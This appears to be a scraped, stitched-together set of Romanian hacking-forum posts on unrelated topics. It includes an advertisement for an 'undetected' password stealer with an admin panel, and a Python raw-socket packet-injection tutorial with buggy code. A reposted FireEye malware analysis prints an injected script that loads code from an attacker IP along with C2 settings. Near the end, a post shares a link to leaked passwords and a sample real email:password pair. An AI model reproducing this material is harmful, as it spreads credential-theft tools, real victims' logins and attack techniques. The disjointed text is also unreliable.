Byte-ul

Dai dump la baza de date.

Prima: http://mrajacse.files.wordpress.com/2012/01/applied-cryptography-2nd-ed-b-schneier.pdf A doua nu am gasit-o.

Inteleg ca folosesti scriptul ala pentru Gecko si Kabron, dar nu da acces tuturor ratatilor, gen @cameleonic

Like it or not, we are living in a world where governments have ample opportunity and reasons to either control the whole digital space or at least closely monitor its inhabitants. Specifically, the notorious National Security Agency, according to some rumors, is very well funded and has boundless possibilities for research, development, bribery and other activities that contribute to effective surveillance. Fortunately, there are forces that can withstand organizations of this kind. In the current situation, all we can do is use VPN, Tor, or some other tools that tend to make Big Brother’s job a bit more difficult. Corporations are able to keep the NSA and other pro-government organizations away from us and help to protect our privacy. Only a year ago this “protection” consisted mainly of weak statements like “we are not affiliated with the NSA” or “we are acting within the law”, but now the companies have finally moved from words to actions. A striking example is Apple Inc., which recently published Tim Cook’s open letter about the new user data policy as well as other privacy and security oriented documents. One of these papers stated that since the release of iOS 8, “it’s not technically feasible” for the company to extract any personal data from devices running the newest iOS and give it to any third parties, including law enforcement organizations. What exactly has Apple done? To put it simply, according to the official documents posted on the website, Apple actually got rid of the spare key to your safe, making you the only person who can access its content: on iOS 8 devices, all of your personal data like photos, messages, emails, contacts, notes, etc. is protected by the user’s passcode, which Apple now cannot bypass. This means that the company cannot access the data on your device and therefore cannot transfer it to any one else. Here comes the tricky part: all of this does not necessarily mean that authorities don’t have a way to see what you’re keeping on your iPhone or iPad. But I’ll come back to that a bit later. There are more security and privacy additions to the new iOS worth discussing. For example, there’s a feature that randomizes MAC addresses, so they can’t be used to persistently track a device by passive observers of Wi-Fi traffic. Additionally, the Always-on VPN option makes corporate IT security guys’ jobs way easier. In his message, Tim Cook stated that Apple “has never worked with any government agency from any country to create a backdoor” in any of its products or services, and has never allowed access to Apple’s servers and never will. It doesn’t matter if Apple has worked with the NSA or not. Now it’s all about if Apple can protect its customers from surveillance. Why did Apple do all this? The infamous leak of celebrities’ photos wasn’t the only reason why Apple decided to emphasize its concerns about user privacy. There is something more important. Of course, you remember Edward Snowden: a bunch of NSA documents that he declassified last year featured a number of large companies including Apple. That story left a pretty notable smudge on the company’s reputation, and Apple had to do something to change that. Now it doesn’t matter if Apple has worked with the NSA or not, it’s now all about if Apple can protect its customers from surveillance. The trend is quite simple these days: if a company doesn’t care enough about users’ privacy and personal data, then something is wrong with that company and it may not be trustworthy. You’re either with users, or against users. Obviously, Apple is too beloved and too respected to instantly become an enemy to millions of customers, but it doesn’t mean that it should not act as soon as possible. Especially, when the company is about to launch the smart watch and a payment system— two developments that many security experts have concerns about. What does it mean for customers? Besides some improvements, such as enhanced data protection, there is another, far more significant positive factor to all this. By changing its user data policy, Apple is likely to inspire other companies to move in the same direction, i.e. paying more attention to security and the privacy of their customers. Of course, no company will declare war on the NSA or the authorities, but it may not actually be necessary: all they need to do is make personal data more secure and more difficult to collect or steal. All of these changes in the user data policy are about making your data more difficult to reach, but not about making it unavailable to the police or other forms of law enforcement. What is the catch then? To answer this question you need to understand two important things. Apple, like any other corporation, will always think about the bottom line first. It will always act within the local laws if breaking them can somehow damage the business. Therefore, if local authorities come to Apple and legally ask for a user’s personal data, the company has a pretty simple choice: obey or experience problems. It’s not a secret that the vast majority of companies choose the first option, and Apple is not likely to be an exception. This doesn’t mean that Apple lied when it said, “it’s not technically feasible” to transfer personal data to police. It’s really not, but there are some details that are still very important. First, all of these changes in the user data policy are about making your data more difficult to reach, but not about making it unavailable to the police or other forms of law enforcement. This added security applies only to iOS devices but doesn’t work for cloud storage (which now has two-factor authentication). Therefore, as soon as your data backs up in iCloud, copying itself onto Apple’s servers, it can be legally reached by the government. It will take some time and effort, but it works. Second, Tim Cook’s speech about the integrity of the servers does mean that Apple won’t allow anybody to access them, but at the same time no one says that Apple won’t take the data into its own hands and share it with authorities if need be. It is like your bank account: it’s safe and secure, but everyone can take money from it if you allow it to happen. So did Apple make your personal data a bit more secure? Yes, without a doubt! Did it make it unavailable for NSA and other authorities? Definitely not. Source: Does Apple protect its users from the NSA? | Kaspersky Lab Official Blog

Puteam sa bag virus direct in executabilul asta. Rulezi in sandbox, etc, daca nu ai incredere.

eu?

Desigur, tocmai din aceasta cauza i-am facut si updater

mda... fixed

Features: Undetected: Server Scan PHP Panel Strong data encryption Protected with latest technologies to prevent eavesdropping Update notifications Working with: Internet Explorer (all versions) Google Chrome Mozilla Firefox Opera Mozilla Thunderbird Outlook 2013 Pidgin Skype Logs Yahoo ETS Filezilla Steam Username BattleNet Username Windows Key COAILII v1.6: Coailii Password Recovery.exe — RGhost — file sharing PHP Panel: Coailii Password Recovery Admin Panel Changelog v1.6: Version 1.6: 1. Fixed Firefox sometimes requiring C++ 2010 redistributable. 2. Fixed Internet Explorer support for Windows XP and 7 4. Added Outlook support 5. Added Thunderbird support 6. Added BattleNet username recovery 7. Added Skype Logs recovery 8. Faster execution of several recovery modules Screenshot: Credits: @.Breacker betatesting Daca aveti intrebari sau intampinati probleme, postati aici!

nu e scam

Dupa mine, sa zicem ca routerul emite "spre tine". Tu avand o antena foarte smechera, poti sa captezi ce a emis routerul de la 2km spre exemplu. Avand acea antena foarte smechera, poti sa emiti la randul tau spre router, astfel incat acesta sa fie capabil sa "prinda" ce ai emis tu. Deci routerul nu prea ar trebui sa aiba treaba... Acum... nu prea stiu daca chiar asa merge treaba. Poate cineva care se pricepe ar putea sa ne explice. ia http://www.pcgarage.ro/adaptoare-wireless/tp-link/tl-wn722nc/ + http://www.pcgarage.ro/antene/tp-link/tl-ant5830b-5ghz-30dbi-outdoor-grid-parabolic/ Cred ca iti trebuie si adaptor pentru antena sa o poti conecta la adaptorul usb, nu sunt sigur.

How Can I Get 300 Mbps Speed on My 802.11n Network? tl;dr: seteaza bandwidth 40mhz in loc de 20mhz.

Pai si atunci de ce isi vor banii inapoi? Nu ai explicat clar.

Se vede ca esti pus pe cacaturi. Cat timp nu te intereseaza challenge-ul, nu posta. Simplu si la obiect. Acum pa.

Am scris in primul thread ce trebuie facut. Nu ma intereseaza sa aibe o marime fixa. Nu vrei sa il numesti hash, numeste-l altfel.

April Fool's Day 2014: iH8Sn0w Releases R0bf0rdsn0w - iCloud Activation Lock Bypasser

Packet injection is the process of interfering with an established network connection by constructing arbitrary protocol packets (TCP, UDP, ...) and send them out through raw sockets it's used widely in network penetration testing such as DDoS, TCP reset attacks, port scanning... A Packet is a combination of IP header, TCP/UDP header and data: Packet = IP Header + TCP/UDP Header + Data Most operating systems that implements socket API supports packet injection, especially those based on Berkeley Sockets. Microsoft limited raw sockets capabilities to packet sniffing, after Windows XP release. This tutorial is implemented on Unix-Like operating systems. TCP Header The TCP protocol is the most used transport protocol in the world wide web, it provides a reliable, ordered and error-checked delivery of a stream of bytes between programs running on computers connected to network. 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Sequence Number (32 bits): the sequence number of the first data byte in this segment. if the SYN flag is set, the sequence number should be the initial sequence number (ISN: usually 0), and the first data byte in the first data stream should be ISN+1 (1).Acknowledgment Number (32 bits): If the ACK flag is set, this field contains the value of the next sequence number the destination machine is expecting to receive.for every packet contains data is sent, an acknowledgment packet should be received, to acknowledge that the last packet is successfully received.Data Offset (4 bits): The length of TCP header by providing the number of 32-bit words. this indicates where the data begins.Reserved (6 bits): Usually cleared to zeroControl Bits (6 bits):ACK: Acknowledgment packetSYN: Request to establish a connectionRST: Request to reset connectionFIN: Request to interrupt (close) a connectionPSH: Informs TCP that data should be sent immediately (Useful in real-time applications)URG: Urgent Pointer field is significantWindow: The number of data bytes you can send before you should stop and wait for acknowledgementChecksum: used for error-checking of the header and dataUrgent Pointer: If the URG control flag is set, this field is an offset from the sequence number indicating the last urgent data byteThis feature is used when some information has to reach it's destination as soon as possible. Creating Raw Socket For creating a socket capable of injecting manually crafted packet, we pass "SOCK_RAW" as a type of socket, and "IPPROTO_RAW" as the used protocol. The "IPPROTO_RAW" tells the kernel that we will provide the network layer (Internet Protocol) and the transfer layer (TCP/UDP Protocol) s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) Constructing the IP Header For this purpose, we can write a simple class to deal with the IP Header structure: class ip(object): def __init__(self, source, destination): self.version = 4 self.ihl = 5 # Internet Header Length self.tos = 0 # Type of Service self.tl = 0 # total length will be filled by kernel self.id = 54321 self.flags = 0 # More fragments self.offset = 0 self.ttl = 255 self.protocol = socket.IPPROTO_TCP self.checksum = 0 # will be filled by kernel self.source = socket.inet_aton(source) self.destination = socket.inet_aton(destination) def pack(self): ver_ihl = (self.version << 4) + self.ihl flags_offset = (self.flags << 13) + self.offset ip_header = struct.pack("!BBHHHBBH4s4s", ver_ihl, self.tos, self.tl, self.id, flags_offset, self.ttl, self.protocol, self.checksum, self.source, self.destination) return ip_header The "pack" method packs the ip header elements and return it. ipobj = ip("127.0.0.1", "127.0.0.2") # Creating an ip object instance ipobj.source = "localhost" # Changing IP element value iph = ipobj.pack() # packing ip header elements Constructing the TCP Header This is a tcp class that allows us to easily manipulate the tcp header elements and pack them. class tcp(object): def __init__(self, srcp, dstp): self.srcp = srcp self.dstp = dstp self.seqn = 0 self.ackn = 0 self.offset = 5 # Data offset: 5x4 = 20 bytes self.reserved = 0 self.urg = 0 self.ack = 0 self.psh = 1 self.rst = 0 self.syn = 0 self.fin = 0 self.window = socket.htons(5840) self.checksum = 0 self.urgp = 0 self.payload = "" def pack(self, source, destination): data_offset = (self.offset << 4) + 0 flags = self.fin + (self.syn << 1) + (self.rst << 2) + (self.psh << 3) + (self.ack << 4) + (self.urg << 5) tcp_header = struct.pack('!HHLLBBHHH', self.srcp, self.dstp, self.seqn, self.ackn, data_offset, flags, self.window, self.checksum, self.urgp) #pseudo header fields source_ip = source destination_ip = destination reserved = 0 protocol = socket.IPPROTO_TCP total_length = len(tcp_header) + len(self.payload) # Pseudo header psh = struct.pack("!4s4sBBH", source_ip, destination_ip, reserved, protocol, total_length) psh = psh + tcp_header + self.payload tcp_checksum = checksum(psh) tcp_header = struct.pack("!HHLLBBH", self.srcp, self.dstp, self.seqn, self.ackn, data_offset, flags, self.window) tcp_header+= struct.pack('H', tcp_checksum) + struct.pack('!H', self.urgp) return tcp_header As we know, TCP is end-to-end reliable protocol. Reliability is provided by the checksum field which used to ensure that data reaches it's correct destination and is error-free. A checksum is 16 bits number calculated by summing the one's compliment of Pseudo header, tcp header and data. The pseudo header is a combination of 5 different fields that includes the source ip and destination ip: 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source IP address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination IP address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Reserved | Protocol | Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Source IP address (32 bits): Sender's IP addressDestination IP address (32 bits): Receiver's IP addressReserved (8 bits): Cleared to zerosProtocol (8 bits): Transport protocol (6 for TCP, 17 for UDP)Total Length (15 bits): size of tcp header and data During the TCP header checksum calculation, the checksum field should be set to zero. Once it's value is calculated, it should be inserted into the field before sending the packet. Constructing the pseudo-header fields: #pseudo header fields source_ip = source destination_ip = destination reserved = 0 protocol = socket.IPPROTO_TCP total_length = len(tcp_header) + len(self.payload) Packing the pseudo-header and combining it with TCP header and data: # Pseudo header psh = struct.pack("!4s4sBBH", source_ip, destination_ip, reserved, protocol, total_length) psh = psh + tcp_header + self.payload The checksum function: def checksum(data): s = 0 n = len(data) % 2 for i in range(0, len(data)-n, 2): s+= ord(data) + (ord(data[i+1]) << 8) if n: s+= ord(data[i+1]) while (s >> 16): print("s >> 16: ", s >> 16) s = (s & 0xFFFF) + (s >> 16) print("sum:", s) s = ~s & 0xffff return s Packet Injection This is an example of using ip and tcp classes to construct headers and injecting it: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) src_host = "10.0.2.15" dest_host = socket.gethostbyname("www.reddit.com") data = "TEST!!" # IP Header ipobj = ip(src_host, dest_host) iph = ip_object.pack() # TCP Header tcpobj = tcp(1234, 80) tcpobj.data_length = len(data) # Used in pseudo header tcph = tcpobj.pack(ipobj.source, ipobj.destination) # Injection packet = iph + tcph + data s.send(packet, (dest_host, 0)) Pinject.py Running the script: python pinject.py --src=10.0.2.15 --dst=www.reddit.com [+] Local Machine: 10.0.2.15 [+] Remote Machine: 198.41.209.142 [+] Raw scoket created [+] Data to inject: TEST!! [+] Constructing IP Header [+] Constructing TCP Header [+] Packet Injected! Screenshot from Wireshark: Fork me on github: https://github.com/offensive-python/Pinject Source: TCP Packet Injection with Python | Python for Pentesting

Introduction FireEye Labs recently discovered a previously unknown variant of the APT backdoor XSLCmd – OSX.XSLCmd – which is designed to compromise Apple OS X systems. This backdoor shares a significant portion of its code with the Windows-based version of the XSLCmd backdoor that has been around since at least 2009. This discovery, along with other industry findings, is a clear indicator that APT threat actors are shifting their eyes to OS X as it becomes an increasingly popular computing platform. Across the global threat landscape, there has been a clear history of leveraging (or porting) Windows malware to the Apple OS X platform. In 2012, AlienVault discovered a document file exploiting an older vulnerability in Microsoft Word that installs a backdoor named “MacControl” on OS X systems. The group responsible for those attacks had been targeting Tibetan non-government organizations (NGOs). It was later discovered that the code for this backdoor was borrowed from an existing Windows backdoor, whose source code can be found on several Chinese programming forums. In 2013, Kaspersky reported on a threat actor group they named “IceFog” that had been attacking a large number of entities related to military, mass media, and technology in South Korea and Japan. This group developed their own backdoor for both Windows and OS X. And just this year, Kaspersky published a report on a group they named “Careto/Mask” that utilized an open source netcat-like project designed to run on *nix and Windows systems named ‘sbd’ which they wrapped in a custom built installer for OS X. Based on our historical intelligence, we believe the XSLCmd backdoor is used by APT, including a group that we call “GREF.” We track this threat group as “GREF” due to their propensity to use a variety of Google references in their activities – some of which will be outlined later in this report. Our tracking of GREF dates back to at least the 2009 timeframe, but we believe they were active prior to this time as well. Historically, GREF has targeted a wide range of organizations including the US Defense Industrial Base (DIB), electronics and engineering companies worldwide, as well as foundations and other NGO’s, especially those with interests in Asia. XSLCmd for OS X Analysis The XSLCmd backdoor for OS X was submitted to VirusTotal (MD5: 60242ad3e1b6c4d417d4dfeb8fb464a1) on August 10, 2014, with 0 detections at the time of submission. The sample is a universal Mach-O executable file supporting the PowerPC, x86, and x86-64 CPU architectures. The code within contains both an installation routine that is carried out the first time it is executed on a system, and the backdoor routine which is carried out after confirming that its parent process is launchd (the initial user mode process of OS X that is responsible for, amongst other things, launching daemons). The backdoor code was ported to OS X from a Windows backdoor that has been used extensively in targeted attacks over the past several years, having been updated many times in the process. Its capabilities include a reverse shell, file listings and transfers, installation of additional executables, and an updatable configuration. The OS X version of XSLCmd includes two additional features not found in the Windows variants we have studied in depth: key logging and screen capturing. Installation Routine To install, XSLCmd first determines the endianness of the CPU using NXGetLocalArchInfo and whether or not it is running as the super user by comparing the return value of getuid()with 0. The code includes functions to handle endianness differences when dealing with file and network data on a system using big endian, namely older Apple computers that shipped with PowerPC CPUs. The process copies its Mach-O from its current location to $HOME/Library/LaunchAgents/clipboardd and creates a plist file in the same directory with the name com.apple.service.clipboardd.plist. The latter file ensures that the backdoor is launched after the system is rebooted once the user logs in. After this is done, the malware relaunches itself using the ‘load’ option of the launchctl utility, which runs the malware according to its configuration in the plist file it created, with launchd as its parent process. This is the process that begins the actual backdoor routine of waiting for and executing commands issued from the C2 server. After running itself with launchctl, the initial process forks and deletes the Mach-O from the original location from which it was executed. The installation routine differs slightly depending on whether or not the process is running with super user privileges. If run as super user, it copies itself to /Library/Logs/clipboardd. Interestingly, if run as super user, the process will also copy /bin/ksh to /bin/ssh. /bin/ksh is the Korn shell executable, and if the user sends a command to initialize a reverse shell, it will use the copy of ksh to do so instead of /bin/bash. This is likely done to make it less obvious that a reverse shell is running on the system, since it may raise less suspicion to see an ssh process opening a network socket rather than a bash process, although the real ssh executable is actually located in /usr/bin/ssh, not /bin/ssh. A list of possible files created by XSLCmd is included in Appendix 1 at the end of this blog. Configuration Options XSLCmd ships with an encrypted configuration file that it defaults to if there is no configuration file written to disk. It will only write its configuration file to disk if it’s updated by the user. It runs in a loop, checking for a configuration update, and then checking for commands. If a new configuration is available, it will be written to disk in base64 encoding at $HOME/.fontset/pxupdate.ini. Below is the configuration data stored in the XSLCmd sample we obtained. [ListenMode]0 [MServer] 61.128.110.38:8000 [bServer] 61.128.110.38 [Day] 1,2,3,4,5,6,7 [start Time] 00:00:00 [End Time] 23:59:00 [interval] 60 [MWeb] http://1234/config.htm [bWeb] http://1234/config.htm [MWebTrans] 0 [bWebTrans] 0 [FakeDomain] www.appleupdate.biz [Proxy] 0 [Connect] 1 [update] 0 [updateWeb] not use [MServer] and [bServer] specify the main and backup C2 server addresses, which can be either an IP address or domain name. Only [MServer] needs to specify a port. [Day] specifies which days of the week the malware will poll for commands and configuration updates on where Monday is 1. [start Time] specifies the local time of day to begin polling. [End Time] specifies the local time of day to stop polling. [interval] specifies the number of seconds between polls. [MWeb] and [bWeb] specify the main and backup URLs to poll for configuration updates, respectively. Update checks are not performed if these values are left to their default: http://1234/config.htm Other options will be explained where appropriate later in the blog. C2 Protocol XSLCmd uses pseudo-HTTP for its protocol. It opens a socket and uses a string template to setup the HTTP request or response headers depending on whether or not it was configured for [Listen Mode]. If [Listen Mode] is set to 1, then it listens on its socket, waiting for a connection for which it will reply to with HTTP response headers following this template: HTTP/1.1 200 OK Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Server: Apache/2.0.54 (Unix) Content-Encoding: gzip Content-Length: %d The body after the headers, regardless of mode, will contain data specific to the purpose of the communication. The data is encrypted with a scheme lifted from a game server engine written by a group named “My Destiny Team.” The request headers have an interesting feature where the Host and Referer header values will have their domain values populated with the value stored in [Fake Domain]. This value can be any string and has no effect on the network connection established. The value of the ‘s’ argument in the request URL is randomly generated, and all of the other request header values except for Content-Length are hard-coded. Another interesting feature exists for the configuration update function. If [MWebTrans]/[bWebTrans] is set to 1, the configuration update URL request will be proxied through Yahoo’s Babelfish service and will fall back to the Google Translate service if that fails. As you can see, the ‘trurl’ parameter in the URL will be set to whatever is configured for [MWeb]/[bWeb]. The User-Agent header for this request is hard-coded and contains the computer name in the parentheses at the end. SSL certificate strings were noticed during our analysis, but with no direct cross-reference to the certificate data. However, there was a cross-reference to the data directly preceding it. This data began with what looked like SSL handshake headers, so we extracted the data from the executable, wrapped it in a PCAP file, and opened it in Wireshark. Interestingly, the data contains everything needed for the server-side packets of an SSL handshake. The SSL certificate being used was for login.live.com and had expired on 6/16/2010. The code using this data opens a socket, waits for a connection, and proceeds to carry out an SSL handshake with the client, throwing away whatever data it receives. This code is not directly referenced by any other code in the executable but could very well replace the [Listen Mode] code. Perhaps it is an old feature no longer in use, a new feature yet to be fully implemented, or an optional feature only used in certain cases. Observations We noticed a mix of manually constructed and plain referenced strings throughout the code, sometimes side-by-side in the same function even. This gives the impression of someone working with someone else’s code, adding his own touch and style here and there as he goes. Also of note is that XSLCmd will not perform key logging if run as super user. This can be a problem, because the API used to perform the key logging, CGEventTapCreate, when invoked with the parameters it uses, requires root permissions from the calling process or the “Assistive Devices” feature must be enabled for the application. During the initial installation, there is a routine to programmatically enable assistive devices that will be executed if the OS X version is not 10.8. In 10.9, enabling assistive devices permissions is done on a per application basis with no direct API to achieve this. It is interesting to note that the version check does not account for versions above 10.8, indicating that perhaps 10.8 was the latest version at the time the code was written, or at least the most common. Further supporting this inference is the lack of testing performed on 10.9. This variant uses an API from the private Admin framework that is no longer exported in 10.9, causing it to crash. The effort to support PowerPC with the endian conversion functions is worth mentioning. Coupling this observation with the aforementioned fact that elsewhere in the code, the version of OS X is compared with 10.8, one could deduce that efforts were made to be backwards compatible with older OS X systems. For some frame of reference, Apple’s first OS to drop support for PowerPC was OS X 10.6 released in 2009, and OS X 10.9 was released in October of 2013. Threat Actor Intelligence Historical Background While GREF’s targeting interests overlap with many of the other threat groups we track, their TTP’s are somewhat unique. GREF is one of the few APT threat groups that does not rely on phishing as their primary attack method. While they have been known to utilize phishing emails, including malicious attachments and links to exploit sites, they were one of the early adopters of strategic web compromise (SWC) attacks. GREF was especially busy in the 2010 timeframe, during which they had early access to a number of 0-day exploits including CVE-2010-0806 (IE 6-7 Peer Objects vuln), CVE-2010-1297 (Adobe Flash vuln), and CVE-2010-2884 (Adobe Flash) that they leveraged in both phishing and SWC attacks. Many of their SWC attacks we saw in this time period were hosted on defense industry-related sites including Center for Defense Information (cdi.org), National Defense Industrial Association (ndia.org), Interservice/Industry Training, Simulation and Education Conference (iitsec.org), and satellite company Millennium Space Systems (millennium-space.com). Most of those attacks involved embedding links to exploit code in the homepage of the affected website, and true to their moniker the link was usually placed inside an existing Google Analytics code block in the page source code to help obscure it, rather than simply appended to the end of the file like many other attackers did. Figure 1: Sample “google” exploit link <!— Google Tracking Code —><script type=”text/javascript”> var gaJsHost=((“https:” == document.location.protocol) ? “https://ssl.” : “http://”); document.write(unescape(“%3Cscript src=’” + gaJsHost + “180.149.252.181/wiki/tiwiki.ashx’ type=’text/javascript’%3E%3C/script%3E”)); </script> The TTP that most differentiates GREF from other APT threat groups is their unrelenting targeting of web server vulnerabilities to both gain entry to targeted organizations, as well as to get new platforms for SWC attacks. This threat group appears to devote more resources (than most other groups) in attempting to penetrate web servers, and generally, they make no attempt to obscure the attacks, often generating gigabytes of traffic in long-running attacks. They are known to utilize open-source tools such as SQLMap to perform SQL injection, but their most obvious tool of choice is the web vulnerability scanner Acunetix, which leaves tell-tale request patterns in web server logs. They have been known to leverage vulnerabilities in ColdFusion, Tomcat, JBoss, FCKEditor, and other web applications to gain access to servers, and then they will commonly deploy a variety of web shells relevant to the web application software running on the server to access and control the system. Another historical TTP attributed to GREF was their frequent re-use of specific IP ranges to both perform reconnaissance and launch their attacks, as well as for command and control and exfiltration of data. In the early years, we documented them routinely using IP addresses in the 210.211.31.x (China Virtual Telecom – Hong Kong), 180.149.252.x (Asia Datacenter – Hong Kong), and 120.50.47.x (Qala – Singapore). In addition, their reconnaissance activities frequently included referrer headers from google.com and google.com.hk with search features such as “inurl” and “filetype” looking for specific systems, technologies, and known vulnerabilities. C2 Domains GREF is known to have sometimes configured their malware to bare IP addresses, rather than domains, but there are some clusters of domain registrants that we attribute to them. Table 1: GREF domain registrations XSLCmd Usage For the majority of the time we’ve been tracking them, XSLCmd has been the “go-to” backdoor for GREF, as shown by the wide range of compile dates for the Windows samples we have: from 2009-01-05 to 2013-08-01. Appendix 2 provides a partial list of Windows sample hashes and configuration metadata. Since Mach-O binaries do not have a compile timestamp like Windows executables, we can only infer from other data when the OS X variant was developed. As mentioned above, the “FakeDomain” was configured to “www.appleupdate[.]biz”, which was originally registered on August 2, 2012, and the registration appears to have updated on August 7, 2014, but the registrant is still the same “cast west”. When we found the sample on August 10, the domain did not resolve and there were no historical records for appleupdate[.]biz in any of the passive DNS (pDNS) sources we checked. In the intervening weeks, it has been seen by pDNS sensors, with the first query occurring on August 12, 2014 (which could be related to our research, since the hits are ‘nxdomain’), and then on August 16, 2014 there are pDNS records pointing to 61.128.110.38, which you’ll notice is the same IP the OS X version was configured to use. This could hint at the possibility that this OS X port of XSLCmd was recently developed and deployed; however, this remains uncertain. Other Backdoor Usage In addition to XSLCmd, GREF has utilized a number of other backdoors over time. Another backdoor unique to them, which we call “ddrh”, is a limited-feature backdoor that was frequently dropped in the SWC attacks in 2010, but has not been seen much since. Another historical backdoor attributed to GREF is one known as ERACS or Trojan.LURKER (not to be confused with LURK0 variant of Gh0st). This full-featured backdoor includes the usual backdoor functionality, including the support for additional modules, but it also includes a USB monitoring capability that generates a directory listing of USB-connected devices. We have also observed GREF using a handful of other common backdoors including Poison Ivy, Gh0st, 9002/HOMEUNIX, HKDoor, and Briba, but these occurrences have been pretty rare. All of the GREF 9002/HOMEUNIX samples in our repository have compile dates from 2009 or 2010. Interestingly enough, there is some overlap with a cluster detailed in a report we released in November of last year, specifically the “AllShell” cluster (C2: smtp.allshell[.]net). Starting in mid-2012, GREF started using the Kaba/SOGU backdoor. These early samples, which were discussed in great detail by LastLine in their blog post “An Analysis of PlugX,” are usually bundled into a RAR self-extracting executable and uses the three-part loading mechanism consisting of an executable, the malicious DLL that is side-loaded, and the shellcode file. In mid-2013, GREF switched to using a new Kaba/SOGU builder that created binaries with unique metadata. For example, many of these samples create a mutex of “PST-2.0” when executed, and some have the shared “HT Applications” version metadata. Conclusion The “A” in APT is generally used to describe the threat actors as “Advanced”, but with this blog, we also see that they are also “Adaptable.” Not only have they adopted new Windows-based backdoors over time, as Apple’s OS X platform has increased in popularity in many companies, they have logically adapted their toolset to match in order to gain and maintain a persistent foothold in the organizations they are targeting. OS X has gained popularity across enterprises, from less savvy users who find it easy to operate, to highly technical users that utilize its more powerful features, as well as with executives. Many people also consider it to be a more secure computing platform, which may lead to a dangerous sense of complacency in both IT departments and with users. In fact, while the security industry has started offering more products for OS X systems, these systems are sometimes less regulated and monitored in corporate environments than their Windows peers. Clearly as the OS X platform becomes more widely adopted across enterprises, threat groups like GREF will continue to adapt and find ways to exploit that platform. Credit to Jay Smith for his initial analysis of the Windows version of the XSLCmd backdoor and Joshua Homan for his assistance in this research. Source: Forced to Adapt: XSLCmd Backdoor Now on OS X | FireEye Blog

Stop kidding yourself that cybercriminals aren’t interested in infecting Mac computers with malware. Although there is much, much more malware for Windows than there is for Mac OS X, that’s not going to be any consolation if your Apple desktop computer or laptop is one of the unfortunate ones to find itself infected. And it’s clear that, just like the rest of the world, the computer underground has noticed the increasing popularity of—and buzz around—Apple products, and realises that if it wants to effectively target those particular organisations or individuals who use shiny devices designed in Cupertino that they can’t afford to ignore OS X. After all, let’s face it, Apple Macs and MacBooks are awesome computers, and there are plenty of company execs with access to sensitive corporate information who swear by them. If you wanted any evidence of the unwanted criminal interest in infecting Mac OS X users, then consider a newly discovered threat detected by Intego VirusBarrier as OSX/XSLCmd. What’s interesting about OSX/XSLCmd is that it shares a “significant portion” of code with the Windows version of the XLSCmd backdoor, which was first seen at least five years ago. Researchers at FireEye have written extensively about the new version of the threat, designed to infect Mac computers: A hacking gang named GREF by the security community has been identified as the criminals behind the malware. In the past, the GREF gang has used malware to target defence contractors, engineering companies and non-government organisations. A typical scenario for how GREF manages to target victims is by hacking websites popular with particular industries, and injecting malicious JavaScript disguised as Google Analytics code into their webpages. Anyone who visits a poisoned webpage on an unsecured computer may find that XSLCmd has been silently installed onto their Mac, and has opened a backdoor through which hackers can exfiltrate sensitive information. But this isn’t a simple port to OS X that replicates the function of the Windows malware – additional features have also been incorporated that could help hackers hell bent on spying and stealing information: Intego researchers have analysed the malware, which is detected as OSX/XSLCmd. When run, the malware copies itself to the ~/Library/LaunchAgents folder and renames itself clipboardd (yes, with two ‘d’s), and is deleted from its original location. By creating a plist file, the malware ensures that it is always running. Your best defence? Well, prevention is always better than cure. Ensure that your Mac’s anti-virus software is always running and kept up-to-date with the latest definitions. And if you know someone who loves their Mac but isn’t running any anti-virus software, do them a favour and clue them up. There may not be as much malware for Mac as there is for Windows, but the last thing anyone wants to happen to their computer is to be silently hit by a hack attack. Source: http://www.intego.com/mac-security-blog/spyware-xslcmd-malware-os-x/

Si parolele le gasiti aici: magnet link: http://pastebin.com/jSaE6das Un exemplu care merge: monkadam@gmail.com:nocturnal

Poti exemplifica ce inseamna un proiect "bun de CV"? Ca la prosti daca se poate. Multumesc

